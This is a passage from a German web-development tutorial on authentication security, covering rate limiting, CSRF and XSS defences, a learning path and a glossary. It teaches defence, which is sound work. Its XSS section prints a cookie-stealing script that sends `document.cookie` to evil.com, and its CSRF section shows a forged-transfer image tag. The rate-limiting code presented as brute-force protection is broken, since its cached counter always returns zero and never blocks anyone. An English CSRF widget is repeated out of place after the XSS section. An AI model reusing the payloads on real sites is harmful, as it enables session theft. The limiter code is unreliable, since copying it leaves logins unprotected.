  • Kontosperrung: Nach 10 Fehlversuchen Konto für 30 Minuten sperren.
python
from functools import lru_cache
import time

@lru_cache(maxsize=10000)
def get_login_attempts(identifier: str) -> tuple:
    """Gibt (Anzahl Versuche, Zeitpunkt des ersten Versuchs) zurück"""
    return (0, 0)

def check_rate_limit(identifier: str):
    attempts, first_attempt = get_login_attempts(identifier)
    now = time.time()

    # Nach 1 Minute zurücksetzen
    if now - first_attempt > 60:
        get_login_attempts.cache_clear()
        return True

    # Mehr als 5 Versuche, ablehnen
    if attempts >= 5:
        return False

    return True

def record_login_attempt(identifier: str):
    attempts, first_attempt = get_login_attempts(identifier)
    if attempts == 0:
        first_attempt = time.time()
    get_login_attempts.cache_clear()
    get_login_attempts(identifier)  # Neu cachen

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]

    # Rate Limit prüfen
    if not check_rate_limit(username):
        return {"error": "Zu viele Versuche, bitte in 1 Minute erneut versuchen"}, 429

    password = request.json["password"]

    # Passwort überprüfen
    user = db.get_user_by_username(username)
    if user and bcrypt.checkpw(password.encode(), user.password_hash.encode()):
        # Login erfolgreich, Zähler zurücksetzen
        get_login_attempts.cache_clear()
        return {"token": generate_token(user)}
    else:
        # Login fehlgeschlagen, Versuch aufzeichnen
        record_login_attempt(username)
        return {"error": "Benutzername oder Passwort falsch"}, 401

5.3 CSRF-Schutz (Cross-Site Request Forgery) ​

Angriffsszenario: Du bist bei der Bank-Website bank.com eingeloggt und besuchst dann die bösartige Website evil.com. Auf evil.com gibt es diesen Code:

html
<img src="https://bank.com/api/transfer?to=attacker&amount=10000" />

Dein Browser sendet die Bank-Cookies mit dieser Anfrage mit (Cross-Origin-Anfrage), wodurch Geld überwiesen wird.

Abwehrmaßnahmen:

  1. CSRF Token:
    • Server generiert einen zufälligen Token und platziert ihn im Formular.
    • Beim Absenden wird überprüft, ob der Token übereinstimmt.
python
from flask import session

@app.route("/api/transfer", methods=["POST"])
def transfer():
    # CSRF Token verifizieren
    token = request.headers.get("X-CSRF-Token")
    if token != session.get("csrf_token"):
        return {"error": "CSRF Token ungültig"}, 403

    # Überweisung ausführen
    ...
  1. SameSite Cookie:
    • Setze das SameSite-Attribut des Cookies auf Strict oder Lax.
python
# Flask-Beispiel
app.config.update(
    SESSION_COOKIE_SAMESITE='Lax',  # oder 'Strict'
    SESSION_COOKIE_SECURE=True      # nur HTTPS erlauben
)
  1. JWT verwenden (keine Cookies):
    • JWT wird in localStorage gespeichert, wird nicht automatisch mitgesendet – natürlicher CSRF-Schutz.
🛡️ CSRF: Why Can Automatically Sent Cookies Be Dangerous?
Step through a minimal attack chain, then compare three common defenses: SameSite, CSRF Token, and double-submit cookies.
Scenario
Assume you are logged in to bank.com and the Cookie already exists. You open a malicious site, evil.com, and it secretly starts a transfer request.
Your Cookie, attached automatically by the browser
Cookie: session_id=abc123
Request in this step
(click start)
How to choose defenses, in priority order
  1. SameSite Cookie:very effective against most cross-site form or image requests when using Lax or Strict.
  2. CSRF Token:include a token in forms or headers and verify it on the server. This is robust for complex cases.
  3. Double-submit Cookie:send a token in both Cookie and Header, then compare them on the server.
Note
CSRF mainly targets situations where Cookies are sent automatically. If you use Authorization: Bearer and it is not sent automatically, CSRF risk drops significantly, but XSS and token leakage still matter.

5.4 XSS-Schutz (Cross-Site Scripting) ​

Angriffsszenario: Ein bösartiger Benutzer gibt im Kommentarbereich ein:

html
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>

Wenn die Website diesen Inhalt direkt rendert, werden die Cookies anderer Benutzer gestohlen.

Abwehrmaßnahmen:

  1. Output-Escaping:
    • Wandle < in &lt; und > in &gt; um.
python
import html

def render_comment(comment):
    # HTML escapen
    safe_comment = html.escape(comment)
    return f"<div class='comment'>{safe_comment}</div>"
  1. Content Security Policy (CSP):
    • Setze HTTP-Header, um Script-Quellen einzuschränken.
http
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
  1. HttpOnly Cookie:
    • Setze das HttpOnly-Attribut des Cookies, JavaScript kann es nicht lesen.
python
app.config.update(
    SESSION_COOKIE_HTTPONLY=True
)
🛡️ CSRF: Why Can Automatically Sent Cookies Be Dangerous?
Step through a minimal attack chain, then compare three common defenses: SameSite, CSRF Token, and double-submit cookies.
Scenario
Assume you are logged in to bank.com and the Cookie already exists. You open a malicious site, evil.com, and it secretly starts a transfer request.
Your Cookie, attached automatically by the browser
Cookie: session_id=abc123
Request in this step
(click start)
How to choose defenses, in priority order
  1. SameSite Cookie:very effective against most cross-site form or image requests when using Lax or Strict.
  2. CSRF Token:include a token in forms or headers and verify it on the server. This is robust for complex cases.
  3. Double-submit Cookie:send a token in both Cookie and Header, then compare them on the server.
Note
CSRF mainly targets situations where Cookies are sent automatically. If you use Authorization: Bearer and it is not sent automatically, CSRF risk drops significantly, but XSS and token leakage still matter.

6. Zusammenfassung & Lernpfad ​

Authentifizierung ist die "Grundfertigkeit" des Backends – wer sie beherrscht, kann sichere und zuverlässige Anwendungen bauen.

6.1 Kernwissenspunkte ​

WissenspunktWichtigkeitSchwierigkeitPraxis-Häufigkeit
Session + Cookie⭐⭐⭐⭐MittelHoch
JWT⭐⭐⭐⭐⭐NiedrigSehr hoch
OAuth 2.0⭐⭐⭐⭐HochHoch
Passwort-Hashing (bcrypt)⭐⭐⭐⭐⭐NiedrigSehr hoch
Rate Limiting & Brute-Force-Schutz⭐⭐⭐⭐⭐MittelSehr hoch
CSRF-Abwehr⭐⭐⭐⭐MittelMittel
XSS-Abwehr⭐⭐⭐⭐NiedrigHoch

6.2 Lernpfad ​

  1. Einstieg (1–2 Tage):

    • Verstehe den Unterschied zwischen Authentifizierung und Autorisierung.
    • Beherrsche das Prinzip von Session + Cookie.
    • Implementiere eine einfache Login/Registrierungs-Funktion.
  2. Fortgeschritten (1 Woche):

    • Lerne das Prinzip und die Implementierung von JWT.
    • Implementiere ein JWT-basiertes Authentifizierungssystem.
    • Beherrsche Passwort-Hashing (bcrypt).
  3. Praxis (2–4 Wochen):

    • Integriere OAuth 2.0 (WeChat-, Google-Login).
    • Implementiere Rate Limiting und Brute-Force-Schutz.
    • Wehre gängige Angriffe wie CSRF und XSS ab.
  4. Vertiefung (fortlaufend):

    • Lerne RBAC (Role-Based Access Control).
    • Beschäftige dich mit SSO (Single Sign-On).
    • Erkunde Zero Trust Architecture.

6.3 Empfohlene Ressourcen ​

  • Standards:
    • RFC 6749 (OAuth 2.0)
    • RFC 7519 (JWT)
  • Artikel:
    • JWT.io: https://jwt.io/
    • OAuth 2.0 Simplified: https://oauth.net/2/
  • Werkzeuge:
    • jwt.io (JWT Online-Debugger)
    • Postman (API-Testing)

7. Glossar ​

BegriffVollständiger NameErklärung
AuthNAuthenticationAuthentifizierung. Bestätigt "Wer bist du?" (z. B. Identität durch Passworteingabe prüfen).
AuthZAuthorizationAutorisierung. Bestätigt "Was darfst du tun?" (z. B. nur Administratoren dürfen löschen).
Session-Sitzung. Serverseitig gespeicherte Benutzerzustandsinformationen.
Cookie-Cookie. Kleine Datenmenge, die der Browser speichert und bei jeder Anfrage automatisch mitsendet.
JWTJSON Web TokenJSON Web Token. Ein zustandsloses Authentifizierungsverfahren mit Header, Payload und Signature.
OAuth 2.0-Open Authorization. Standardisiertes Framework für Drittanbieter-Login (z. B. "Mit WeChat anmelden").
SSOSingle Sign-OnSingle Sign-On. Einmal einloggen, auf mehrere Anwendungen zugreifen (z. B. Google-Konto für alle Google-Dienste).
RBACRole-Based Access ControlRollenbasierte Zugriffskontrolle. Berechtigungen basierend auf Benutzerrollen (z. B. admin, user).
CSRFCross-Site Request ForgeryCross-Site Request Forgery. Angreifer verleiten Benutzer dazu, bösartige Anfragen zu senden (z. B. Überweisung mit deinen Cookies).
XSSCross-Site ScriptingCross-Site Scripting. Angreifer injizieren bösartige Skripte in Webseiten (z. B. Cookie-Diebstahl).
bcrypt-Passwort-Hashing-Algorithmus. Ein langsamer Hash-Algorithmus, speziell für Passwortspeicherung, schützt vor Brute-Force.
Access Token-Zugriffstoken. Kurzlebiger Token für den API-Zugriff.
Refresh Token-Aktualisierungstoken. Langlebiger Token zum Erhalt neuer Access Tokens.
Scope-Berechtigungsumfang. OAuth 2.0-Konzept, das die vom Drittanbieter angeforderten Berechtigungen beschreibt (z. B. Benutzerdaten lesen).
PKCEProof Key for Code ExchangeProof Key for Code Exchange. OAuth 2.0-Erweiterung zur Sicherheitsverbesserung für öffentliche Clients (z. B. SPAs).
Edit this page on GitHub
Pager
Vorherige SeiteSerialisierung: Die "Übersetzung" von Daten
Nächste SeiteNebenläufigkeit, Asynchronität & Multithreading

京ICP备2026002630号-1 | 京公网安备11010602202215号

本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议(CC BY-NC-SA 4.0) 进行许可